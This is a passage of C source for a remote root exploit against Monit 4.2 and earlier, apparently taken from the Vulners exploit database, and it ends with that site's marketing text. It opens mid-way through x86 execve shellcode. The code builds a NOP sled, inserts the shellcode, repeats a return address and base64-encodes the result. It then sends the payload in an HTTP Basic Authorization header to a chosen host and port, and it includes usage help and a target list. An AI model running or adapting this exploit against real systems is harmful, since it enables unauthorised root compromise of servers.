&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\xe3&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%esp,%ebx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x52&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pushl&nbsp;&nbsp;&nbsp;%edx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x53&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;pushl&nbsp;&nbsp;&nbsp;%ebx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\x89\xe1&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movl&nbsp;&nbsp;&nbsp;&nbsp;%esp,%ecx
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xb0\x0b&quot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;movb&nbsp;&nbsp;&nbsp;&nbsp;$0xb,%al
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;\xcd\x80&quot;;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$0x80

void&nbsp;show_help(char&nbsp;*pr00gie,u_short&nbsp;opt)&nbsp;{
	int&nbsp;i=0;
	printf(&quot;==========&gt;&nbsp;THE&nbsp;EYE&nbsp;ON&nbsp;SECURITY&nbsp;RESEARCH&nbsp;GROUP&nbsp;&lt;==========\n&quot;);
	printf(&quot;Monit&nbsp;&lt;=&nbsp;4.2&nbsp;Remote&nbsp;Root&nbsp;Exploit\n&quot;);
	printf(&quot;n2n[at]linuxmail[dot]org&nbsp;-&nbsp;abhisek[at]front[dot]ru\n&quot;);
	printf(&quot;http://www.eos-india.net\n\n&quot;);
	if(!opt)
		return;
	printf(&quot;[usage]\n&quot;);
	printf(&quot;%s&nbsp;[Remote&nbsp;Host]&nbsp;[Remote&nbsp;Port]&nbsp;[Target]\n&quot;,pr00gie);
	printf(&quot;[Available&nbsp;Targets]\n&quot;);
	while(targets[i].arch&nbsp;!=&nbsp;NULL)&nbsp;{
		printf(&quot;%d.&nbsp;-&nbsp;%s\t&nbsp;-&nbsp;%p\n&quot;,(i),targets[i].arch,targets[i].ret);				
		i++;
	}
}
/*&nbsp;Base&nbsp;64&nbsp;code&nbsp;ripped&nbsp;from&nbsp;monit&nbsp;src&nbsp;*/
/**
&nbsp;*&nbsp;Base64&nbsp;encode&nbsp;one&nbsp;byte
&nbsp;*/
static&nbsp;char&nbsp;encode(unsigned&nbsp;char&nbsp;u)&nbsp;{

&nbsp;&nbsp;if(u&nbsp;&lt;&nbsp;26)&nbsp;&nbsp;return&nbsp;'A'+u;
&nbsp;&nbsp;if(u&nbsp;&lt;&nbsp;52)&nbsp;&nbsp;return&nbsp;'a'+(u-26);
&nbsp;&nbsp;if(u&nbsp;&lt;&nbsp;62)&nbsp;&nbsp;return&nbsp;'0'+(u-52);
&nbsp;&nbsp;if(u&nbsp;==&nbsp;62)&nbsp;return&nbsp;'+';

&nbsp;&nbsp;return&nbsp;'/';

}
/**
&nbsp;*&nbsp;Base64&nbsp;encode&nbsp;and&nbsp;return&nbsp;size&nbsp;data&nbsp;in&nbsp;'src'.&nbsp;The&nbsp;caller&nbsp;must&nbsp;free&nbsp;the
&nbsp;*&nbsp;returned&nbsp;string.
&nbsp;*&nbsp;@param&nbsp;size&nbsp;The&nbsp;size&nbsp;of&nbsp;the&nbsp;data&nbsp;in&nbsp;src
&nbsp;*&nbsp;@param&nbsp;src&nbsp;The&nbsp;data&nbsp;to&nbsp;be&nbsp;base64&nbsp;encode
&nbsp;*&nbsp;@return&nbsp;encoded&nbsp;string&nbsp;otherwise&nbsp;NULL
&nbsp;*/
char&nbsp;*encode_base64(int&nbsp;size,&nbsp;unsigned&nbsp;char&nbsp;*src)&nbsp;{

&nbsp;&nbsp;int&nbsp;i;
&nbsp;&nbsp;char&nbsp;*out,&nbsp;*p;

&nbsp;&nbsp;if(!src)
&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;NULL;

&nbsp;&nbsp;if(!size)
&nbsp;&nbsp;&nbsp;&nbsp;size=&nbsp;strlen((char&nbsp;*)src);

&nbsp;&nbsp;out=&nbsp;(char&nbsp;*)malloc(sizeof(char)*size*4/3+4);

&nbsp;&nbsp;p=&nbsp;out;

&nbsp;&nbsp;for(i=0;&nbsp;i&lt;size;&nbsp;i+=3)&nbsp;{

&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;char&nbsp;b1=0,&nbsp;b2=0,&nbsp;b3=0,&nbsp;b4=0,&nbsp;b5=0,&nbsp;b6=0,&nbsp;b7=0;

&nbsp;&nbsp;&nbsp;&nbsp;b1&nbsp;=&nbsp;src[i];

&nbsp;&nbsp;&nbsp;&nbsp;if(i+1&lt;size)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b2&nbsp;=&nbsp;src[i+1];

&nbsp;&nbsp;&nbsp;&nbsp;if(i+2&lt;size)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;b3&nbsp;=&nbsp;src[i+2];

&nbsp;&nbsp;&nbsp;&nbsp;b4=&nbsp;b1&gt;&gt;2;
&nbsp;&nbsp;&nbsp;&nbsp;b5=&nbsp;((b1&amp;0x3)&lt;&lt;4)|(b2&gt;&gt;4);
&nbsp;&nbsp;&nbsp;&nbsp;b6=&nbsp;((b2&amp;0xf)&lt;&lt;2)|(b3&gt;&gt;6);
&nbsp;&nbsp;&nbsp;&nbsp;b7=&nbsp;b3&amp;0x3f;

&nbsp;&nbsp;&nbsp;&nbsp;*p++=&nbsp;encode(b4);
&nbsp;&nbsp;&nbsp;&nbsp;*p++=&nbsp;encode(b5);

&nbsp;&nbsp;&nbsp;&nbsp;if(i+1&lt;size)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*p++=&nbsp;encode(b6);
&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*p++=&nbsp;'=';
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;&nbsp;&nbsp;if(i+2&lt;size)&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*p++=&nbsp;encode(b7);
&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*p++=&nbsp;'=';
&nbsp;&nbsp;&nbsp;&nbsp;}

&nbsp;&nbsp;}

&nbsp;&nbsp;return&nbsp;out;

}


void&nbsp;make_http_request(char&nbsp;*buff,int&nbsp;size,char&nbsp;*host,unsigned&nbsp;long&nbsp;*magic)&nbsp;{
	char&nbsp;*exp_buff;
	char&nbsp;*exp_buff_encoded;
	int&nbsp;i;
	if&nbsp;(!(exp_buff=(char*)malloc(EXP_SIZE))){
		perror(&quot;malloc()&quot;);
		exit(1);
	}
	
	memset(exp_buff,0x90,EXP_SIZE);
	strcpy(exp_buff+256-strlen(shellcode),shellcode);
	for(i=256;i&lt;EXP_SIZE-5;i+=4)
		memcpy(exp_buff+i,magic,4);
	strcpy(exp_buff+EXP_SIZE-4,&quot;:x&quot;);
	exp_buff_encoded=encode_base64(EXP_SIZE,exp_buff);	
	memset(buff,0x00,size);
	sprintf(buff,&quot;GET&nbsp;/&nbsp;HTTP/1.0\r\n&quot;);
	sprintf(buff,&quot;%sHost:&nbsp;%s\r\n&quot;,buff,host);
	sprintf(buff,&quot;%sAuthorization:&nbsp;Basic&nbsp;%s\r\n\r\n\r\n&quot;,buff,exp_buff_encoded);
	
}
int&nbsp;main(int&nbsp;argc,char&nbsp;*argv[])&nbsp;{
	char&nbsp;*host;
	char&nbsp;*b;
	int&nbsp;rport;
	int&nbsp;sockfd;
	struct&nbsp;sockaddr_in&nbsp;sin;
	struct&nbsp;hostent&nbsp;*h;
	unsigned&nbsp;int&nbsp;n;
	unsigned&nbsp;long&nbsp;magic;
	if(argc&nbsp;!=&nbsp;4)&nbsp;{
		show_help(argv[0],1);
		exit(1);
	}
	host=argv[1];
	rport=(atoi(argv[2]));
	n=atoi(argv[3]);
	if((n&nbsp;&gt;=&nbsp;MAX_ARCH)||(n&lt;0))&nbsp;{
		printf(&quot;-&nbsp;Invalid&nbsp;target\n&quot;);
		show_help(argv[0],1);
		exit(1);
		}
	magic=targets[n].ret;
	show_help(argv[0],0);
	printf(&quot;-Using&nbsp;RET&nbsp;%p\n&quot;,magic);
	printf(&quot;Resolving&nbsp;%s\t&quot;,host);
	h=gethostbyname(host);
	if(!h)&nbsp;{
		printf(&quot;[ERROR]\nUnable&nbsp;to&nbsp;resolve:&nbsp;%s\n&quot;,host);
		exit(1);
	}
	else
	printf(&quot;[DONE]\n&quot;);
	b=(char*)malloc(BUFF_SIZE);
	if(!b)&nbsp;{
		perror(&quot;malloc&quot;);
		exit(1);
	}
	sin.sin_addr=*((struct&nbsp;in_addr*)h-&gt;h_addr);
	sin.sin_family=AF_INET;
	sin.sin_port=htons((u_short)rport);
	if((sockfd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))&lt;0){
		perror(&quot;socket&quot;);
		exit(1);
	}
	printf(&quot;Connecting&nbsp;to&nbsp;%s:%d\t&quot;,host,rport);
	if(connect(sockfd,(struct&nbsp;sockaddr*)&amp;sin,sizeof(sin))&lt;0)&nbsp;{
		printf(&quot;[ERROR]\nUnable&nbsp;to&nbsp;connect:&nbsp;%s:%d\n&quot;,host,rport);
		perror(&quot;connect&quot;);
		exit(1);
	}
	else
	printf(&quot;[DONE]\n&quot;);
	make_http_request(b,BUFF_SIZE,host,&amp;magic);
	if(send(sockfd,b,strlen(b),0)&nbsp;==&nbsp;strlen(b))
		printf(&quot;Successfully&nbsp;send&nbsp;exploit&nbsp;string\n&quot;);
	else
		printf(&quot;Failed&nbsp;sending&nbsp;exploit&nbsp;string\n&quot;);
	close(sockfd);
	return&nbsp;0;
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1
29